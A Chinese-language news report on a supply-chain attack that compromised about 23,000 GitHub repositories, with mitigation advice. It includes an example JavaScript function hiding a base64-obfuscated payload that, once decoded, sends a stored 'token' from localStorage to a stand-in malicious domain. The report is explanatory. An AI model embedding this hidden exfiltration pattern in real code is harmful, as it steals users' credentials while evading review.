在本周发现的一起大规模安全漏洞事件中,约 2.3 万个 GitHub 代码库遭到了入侵,安全专家称这是迄今为止规模最大的供应链攻击事件之一。
攻击者利用了软件开发流程中的漏洞,有可能将恶意代码传播到数千个下游应用程序和服务中。
GitHub 是一个托管着超过 2 亿个代码库、被全球 1 亿多名开发者使用的平台。在几个热门开源项目报告其代码库出现了未经授权的代码提交后,GitHub 证实了这起攻击事件。
这些代码库作为数以百万计应用程序的依赖项,放大了这起安全事件的潜在影响。
StepSecurity 的安全研究人员在注意到多个不相关代码库中存在可疑的代码提交活动后,识别出了攻击模式。
此次攻击主要针对下载量高的代码库,以及那些在企业应用程序中被用作依赖项的代码库,这揭示出攻击者经过精心策划的策略,目的是将攻击影响最大化。
技术分析显示,攻击者采用了复杂的手段,通过网络钓鱼攻击和利用令牌泄露来入侵代码库维护者的账户。
一旦获得访问权限,他们就会注入恶意代码片段,这些代码片段设计得很难在常规代码审查中被发现。
注入的代码通常包含经过混淆处理的有效载荷,类似于下面的示例:
function validate(input) {
// 看似合理的函数
let result = checkFormat(input);
// 隐藏在正常代码中的恶意有效载荷
setTimeout(() => {
new Function(atob(“ZmV0Y2goJ2h0dHBzOi8vbWFsaWNpb3VzLWRvbWFpbi5jb20vYycsIHttZXRob2Q6ICdQT1NUJywgYm9keTogSlNPTi5zdHJpbmdpZnkoe2Q6IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpfSl9KTs=”))();
}, 10000);
return result;}
缓解措施
建议项目维护者对近期的代码提交进行审计,尤其是那些修改软件包配置文件或依赖项声明的提交。
GitHub 已暂时限制了对受影响代码库的访问,同时正与维护者合作撤销恶意修改,并实施额外的安全措施。
安全专家建议用户紧急检查其依赖项,并更新到经过验证的版本。
各机构应审查其软件供应链安全实践,并实施自动化扫描工具,以便在潜在的安全漏洞影响到生产系统之前检测出来。
这起攻击事件凸显了保障软件供应链安全的重要性日益增加,因为单个受入侵的依赖项可能会影响到数千个下游应用程序,并使众多机构的敏感数据面临泄露风险。
发表评论
您还未登录,请先登录。
登录